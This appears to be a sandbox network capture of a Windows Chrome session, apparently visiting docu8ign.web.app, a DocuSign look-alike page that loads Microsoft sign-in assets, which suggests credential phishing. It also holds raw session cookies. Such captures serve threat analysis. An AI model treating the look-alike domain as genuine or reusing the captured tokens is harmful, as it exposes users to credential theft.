2024-09-27 06:18:38 UTC	1466	OUT	POST /cdn-cgi/challenge-platform/h/g/jsd/r/8c99609c4fe34276 HTTP/1.1 Host: cnrsys.com Connection: keep-alive Content-Length: 15879 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://cnrsys.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts; cf_clearance=y1ciRlhhr6HQD4hQ7.ZebzBLh1QZIcNqFHfJmr6gQao-1727417917-1.2.1.1-X23lHjeipG6.BHLVKTcLJGlsawlXkQrWp4ZA.QmKtqbExgYkECjpmZFfB0Z0qdxM.CHZaLz7AE5v8U1B3tYLmgme15re8TxzRpHhyn.HKMrE2sfMIHc.ah.1U4wdsLKqtP0JnwdQZL9ife_rYIrgS2wGyeUEzzdsc17Wu_0_D2D.Qb929s9fT1qFH3G7wH_C0h8JyXBRTgW4IxIW4_LtrpdAI6fpwpClUGSLeiWlnP3AK64K65RTsvW8BL6e3ujyHiBwYpQ2rGJx9fYlQUZt5xZ_PK_kYiDtrr.b_up_.XMgwkXp_.UqZ74SQY1SzVr2dLeAdELgnq1OpAjoeBqe4jDb.NDxeksBX1oolWkzFkyKnBHSr2UnC8FzlVffNDdz
2024-09-27 06:18:38 UTC	15879	OUT	Data Raw: 7b 22 77 70 22 3a 22 70 4f 71 42 65 57 76 31 65 67 71 65 39 46 56 76 41 76 50 69 64 42 57 2b 69 6c 48 69 49 77 49 32 32 57 31 76 4c 43 69 74 6b 2b 52 6b 35 71 69 5a 74 75 61 56 6b 67 76 51 69 39 41 71 58 6e 4f 4f 69 6c 30 32 69 68 69 32 2b 32 71 76 69 2d 32 76 79 56 24 42 30 67 4f 36 4d 63 42 74 6b 45 4f 48 6c 4a 51 50 46 58 44 42 79 45 65 66 48 38 76 4a 43 74 30 49 69 65 71 71 53 49 5a 57 36 6e 69 4b 58 6e 35 59 36 69 59 42 46 5a 69 57 66 71 69 49 42 57 57 42 45 39 42 49 69 76 6b 69 64 67 54 69 76 38 36 69 47 72 31 6c 58 4f 75 76 6c 30 6e 71 69 57 72 36 69 57 56 61 64 69 61 57 69 76 36 2d 35 55 71 63 51 48 2b 57 58 57 76 59 79 48 4f 43 65 45 37 73 59 74 69 77 42 57 49 6a 6f 4f 69 31 54 4f 6b 46 35 74 7a 2d 58 69 61 73 59 30 45 77 6c 42 69 55 30 77 35 49 Data Ascii: {"wp":"pOqBeWv1egqe9FVvAvPidBW+ilHiIwI22W1vLCitk+Rk5qiZtuaVkgvQi9AqXnOOil02ihi2+2qvi-2vyV$B0gO6McBtkEOHlJQPFXDByEefH8vJCt0IieqqSIZW6niKXn5Y6iYBFZiWfqiIBWWBE9BIivkidgTiv86iGr1lXOuvl0nqiWr6iWVadiaWiv6-5UqcQH+WXWvYyHOCeE7sYtiwBWIjoOi1TOkF5tz-XiasY0EwlBiU0w5I
2024-09-27 06:18:38 UTC	1212	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:18:38 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.cnrsys.com; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=IajTSGp5Uob4sCeP5qCqTO2Fnn2n7hhAE3q5pbu9Ilg-1727417918-1.2.1.1-y9Af7Ac7obp3G.YI3x7ifTeVZ_SFSbQI4p4XtQune_Nwt4Pt9E0Nn4wYP2oU.pevapiwTCXfcJruv95DNRNHCJ5KXL.jdNKjU3eHjqeBQlkG8px1tes1xHIJnNibA1lFyHRsSRAjUKCDCNg8vIcn5qAsoQp_2qrzHeNFKsjl58u5ToJNnlfmfu56c1RZIOphME.Mxjwv.Dk_756XZ9UPucMPeUziUQh9E57Jqqffih1p_ZB1l9SfpX1zCHOChlOYG5iYXBTHIsUFKkWDRYHjj8iMdUwdDF5twRWgf_rOZGsbVYsNYm51QiTlWxftL6CgBOvcgaijFWvK.t8aMjcW92T82H40RXl1KDL5qaLChBMN0CbqB0Jdvw5XcXMAs.CG; Path=/; Expires=Sat, 27-Sep-25 06:18:38 GMT; Domain=.cnrsys.com; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CFbvJH1yNm2TK3pZWEyaf4%2Fbb7a%2F3xvEsj5I35M2LN5DEumOvezJgS91c7l6qfV7Kxxagpg5H4MpIPAJ3HayAij%2FkXrYFoLSY5JXX3sK9bB8aLhwr%2FqM2V4FWtnD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9960a8184b19f3-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49729	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:39 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 06:18:39 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=37601 Date: Fri, 27 Sep 2024 06:18:39 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-27 06:18:39 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49733	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:39 UTC	570	OUT	GET /shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:40 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870440 Cache-Control: public, max-age=31536000 Content-MD5: xAmVJ4UrtXATagLD0tDXoQ== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:40 GMT Etag: 0x8D9942E72241B02 Last-Modified: Thu, 21 Oct 2021 01:02:25 GMT Server: ECAcc (lhc/7916) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ff04c0d5-101e-0052-5d4d-806f11000000 x-ms-version: 2009-09-19 Content-Length: 79507 Connection: close
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 5d 2c 5b 2c 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 22 56 61 6c 75 65 4b 69 6e 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 65 7d 29 29 2c 74 2e 64 28 65 2c 22 45 76 65 6e 74 4c 61 74 65 6e 63 79 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 61 7d 29 29 2c 74 2e 64 28 65 2c 22 45 76 65 6e 74 50 65 72 73 69 73 74 65 6e 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 62 7d 29 Data Ascii: (window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,function(n,e,t){"use strict";t.r(e),t.d(e,"ValueKind",(function(){return r.e})),t.d(e,"EventLatency",(function(){return r.a})),t.d(e,"EventPersistence",(function(){return r.b})
2024-09-27 06:18:40 UTC	1	IN	Data Raw: 30 Data Ascii: 0
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 29 7d 63 61 74 63 68 28 6e 29 7b 74 28 6e 29 7d 7d 29 29 7d 2c 6e 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 69 66 28 65 26 26 65 2e 6c 65 6e 67 74 68 29 74 72 79 7b 66 6f 72 28 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 69 3d 65 5b 72 5d 3b 69 26 26 54 28 69 2e 74 68 65 6e 29 3f 69 2e 74 68 65 6e 28 6e 2c 74 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 69 29 7d 29 2c 30 29 7d 2c 69 3d 30 3b 69 3c 65 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 72 28 69 29 7d 63 61 74 63 68 28 6e 29 7b 74 28 6e 29 7d 7d 29 29 7d 2c 6e 7d 28 29 2c 6b 3d 30 2c 50 3d 5b 5d 2c 4e 3d 5b 5d 2c 5f 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: )}catch(n){t(n)}}))},n.race=function(e){return new n((function(n,t){if(e&&e.length)try{for(var r=function(r){var i=e[r];i&&T(i.then)?i.then(n,t):setTimeout((function(){n(i)}),0)},i=0;i<e.length;i++)r(i)}catch(n){t(n)}}))},n}(),k=0,P=[],N=[],_=[];function
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 67 20 70 61 79 6c 6f 61 64 2e 20 45 78 3a 22 2b 4f 62 6a 65 63 74 28 75 2e 61 29 28 6e 29 29 2c 44 28 6f 2c 30 2c 7b 7d 29 7d 7d 29 2c 4f 62 6a 65 63 74 28 6f 2e 63 29 28 76 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 48 74 74 70 4d 61 6e 61 67 65 72 3a 5f 64 6f 50 61 79 6c 6f 61 64 53 65 6e 64 2e 73 65 6e 64 65 72 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 53 29 69 66 28 30 3d 3d 3d 65 2e 73 65 6e 64 54 79 70 65 26 26 6b 2b 2b 2c 54 26 26 21 65 2e 69 73 42 65 61 63 6f 6e 26 26 33 21 3d 3d 49 2e 5f 74 72 61 6e 73 70 6f 72 74 29 7b 76 61 72 20 74 3d 7b 64 61 74 61 3a 78 2e 64 61 74 61 2c 75 72 6c 53 74 72 69 6e 67 3a 78 2e 75 72 6c 53 74 72 69 6e 67 2c 68 65 61 64 65 72 73 3a 4f 62 6a 65 63 74 28 69 2e 6b 29 28 7b 7d 2c 78 2e Data Ascii: g payload. Ex:"+Object(u.a)(n)),D(o,0,{})}}),Object(o.c)(v,(function(){return"HttpManager:_doPayloadSend.sender"}),(function(){if(S)if(0===e.sendType&&k++,T&&!e.isBeacon&&3!==I._transport){var t={data:x.data,urlString:x.urlString,headers:Object(i.k)({},x.
2024-09-27 06:18:40 UTC	2	IN	Data Raw: 52 61 Data Ascii: Ra
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 6e 64 6f 6d 33 32 3a 6c 2e 61 2c 67 65 6e 65 72 61 74 65 57 33 43 49 64 3a 66 2e 63 7d 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 21 21 4f 62 6a 65 63 74 28 61 2e 65 29 28 22 63 68 72 6f 6d 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 6e 2c 65 2c 74 2c 72 2c 69 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 2c 65 2c 74 29 7b 74 72 79 7b 6e 5b 65 5d 3d 74 7d 63 61 74 63 68 28 6e 29 7b 7d 7d 76 6f 69 64 20 30 3d 3d 3d 72 26 26 28 72 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 21 31 29 3b 76 61 72 20 75 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 72 65 74 75 72 6e 20 72 26 26 6f 28 75 2c 22 4d 69 63 72 6f 73 6f 66 74 5f 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 5f 42 79 70 61 73 73 41 6a 61 78 49 6e Data Ascii: ndom32:l.a,generateW3CId:f.c};function z(){return!!Object(a.e)("chrome")}function U(n,e,t,r,i){function o(n,e,t){try{n[e]=t}catch(n){}}void 0===r&&(r=!1),void 0===i&&(i=!1);var u=new XMLHttpRequest;return r&&o(u,"Microsoft_ApplicationInsights_BypassAjaxIn
2024-09-27 06:18:40 UTC	13972	IN	Data Raw: 43 74 78 29 29 7b 76 61 72 20 66 3d 73 2e 67 65 74 43 74 78 28 75 2e 43 68 69 6c 64 72 65 6e 43 6f 6e 74 65 78 74 4b 65 79 29 3b 66 7c 7c 28 66 3d 5b 5d 2c 73 2e 73 65 74 43 74 78 28 75 2e 43 68 69 6c 64 72 65 6e 43 6f 6e 74 65 78 74 4b 65 79 2c 66 29 29 2c 66 2e 70 75 73 68 28 63 29 7d 72 65 74 75 72 6e 20 61 2e 73 65 74 43 74 78 28 22 43 6f 72 65 55 74 69 6c 73 2e 64 6f 50 65 72 66 22 2c 63 29 2c 74 28 63 29 7d 7d 63 61 74 63 68 28 6e 29 7b 63 26 26 63 2e 73 65 74 43 74 78 26 26 63 2e 73 65 74 43 74 78 28 22 65 78 63 65 70 74 69 6f 6e 22 2c 6e 29 7d 66 69 6e 61 6c 6c 79 7b 63 26 26 61 2e 66 69 72 65 28 63 29 2c 61 2e 73 65 74 43 74 78 28 22 43 6f 72 65 55 74 69 6c 73 2e 64 6f 50 65 72 66 22 2c 73 29 7d 7d 7d 72 65 74 75 72 6e 20 74 28 29 7d 66 75 6e 63 Data Ascii: Ctx)){var f=s.getCtx(u.ChildrenContextKey);f\|\|(f=[],s.setCtx(u.ChildrenContextKey,f)),f.push(c)}return a.setCtx("CoreUtils.doPerf",c),t(c)}}catch(n){c&&c.setCtx&&c.setCtx("exception",n)}finally{c&&a.fire(c),a.setCtx("CoreUtils.doPerf",s)}}}return t()}func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49734	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:39 UTC	613	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:40 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870441 Cache-Control: public, max-age=31536000 Content-MD5: +lZRrDLGp8Gp/hURw2aXyQ== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:40 GMT Etag: 0x8D99FD65BAB30A3 Last-Modified: Thu, 04 Nov 2021 21:02:05 GMT Server: ECAcc (lhc/791A) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fc52c179-401e-00f7-414d-802e7d000000 x-ms-version: 2009-09-19 Content-Length: 15415 Connection: close
2024-09-27 06:18:40 UTC	15415	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49732	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:39 UTC	642	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docu8ign.web.app sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:40 UTC	735	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16040667 Cache-Control: public, max-age=31536000 Content-MD5: 0O2H9juGYL0zkzcYWr0NIg== Content-Type: text/css Date: Fri, 27 Sep 2024 06:18:40 GMT Etag: 0x8D982C8F03AF4D4 Last-Modified: Tue, 28 Sep 2021 21:42:58 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5ad24bc7-901e-0022-45c1-7e9d11000000 x-ms-version: 2009-09-19 Content-Length: 110118 Connection: close
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: /! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed
2024-09-27 06:18:40 UTC	1	IN	Data Raw: 73 Data Ascii: s
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a 6c Data Ascii: -1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:l
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f Data Ascii: gin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-bo
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 6c 6f 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 62 Data Ascii: low-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.tab
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 49 22 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 Data Ascii: I","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo 